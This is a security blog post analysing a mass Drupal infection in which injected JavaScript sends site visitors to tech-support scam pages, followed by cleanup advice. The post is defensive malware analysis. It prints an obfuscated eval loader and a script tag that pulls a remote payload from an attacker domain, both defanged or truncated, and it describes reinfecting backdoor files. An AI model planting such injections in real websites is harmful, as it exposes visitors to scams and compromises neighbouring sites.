Massive localstorage[.]tk Drupal Infection

After a series of critical Drupal vulnerabilities disclosed this spring, it’s not surprising to see a surge of massive Drupal infections like this one:

… with over a thousand compromised sites that redirect visitors to “Tech support” scam pages.

Malicious Injections

The infected pages contain the following JavaScript code, which is injected into various .tpl.php, .html.twig and .js files.

eval (String .fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, ...skipped... 100, 40, 122, 41, 59));

The code injects a remote script from hxxps://js.localstorage[.]tk/s.js?crt=new, which is responsible for the malicious redirects.

This script is also being injected into various locations in the database in plain text:

<script type="text/javascript" src="hxxps://js.localstorage[.]tk/s.js?qr=888"></script>

Alternatively, the script can be loaded from hxxp://193.201.224 .233/m.js?d=3.

This variation can also be found on some WordPress sites.


Removing the malicious JavaScript code from the infected files and the database is not enough. Hackers also create multiple files that frequently check if they contain malicious code then reinfect them if the code is not found. These files have random filenames like “g.php”, “tonure.php”, “jooner.php”, “almio.php”, etc.

Here’s their code, which searches for .tpl.php, .html.twig, header.php, and drupal.js files and then injects the malicious JavaScript into them.

Malware Injector

As you might have noticed, it tries to inject the malware into files starting from a directory three levels above the current file (../../..). This means that this code may infect all neighboring sites that share the same server account with the current site.


To clean this infection, one needs to fully patch and upgrade Drupal (as of this post, at least to Drupal 7.59, Drupal 8.5.3, or Drupal 8.4.8, depending on the branch you are using). Next, you’ll need to find and remove all the backdoors (don’t forget to check for malicious cron jobs), and then remove the injected malware from the infected Drupal files and database.

Attempting to remove the infection in a different order may result in reinfection before you finish the cleanup. You can find complete step-by-step instructions in our guide How to clean a Hacked Drupal Website.

Using a website firewall that proactively patches your sites against new threats will help if you don’t monitor news about discovered vulnerabilities or are unable to patch your site as soon as patches are released.

*** This is a Security Bloggers Network syndicated blog from Sucuri Blog authored by Denis Sinegubko. Read the original post at: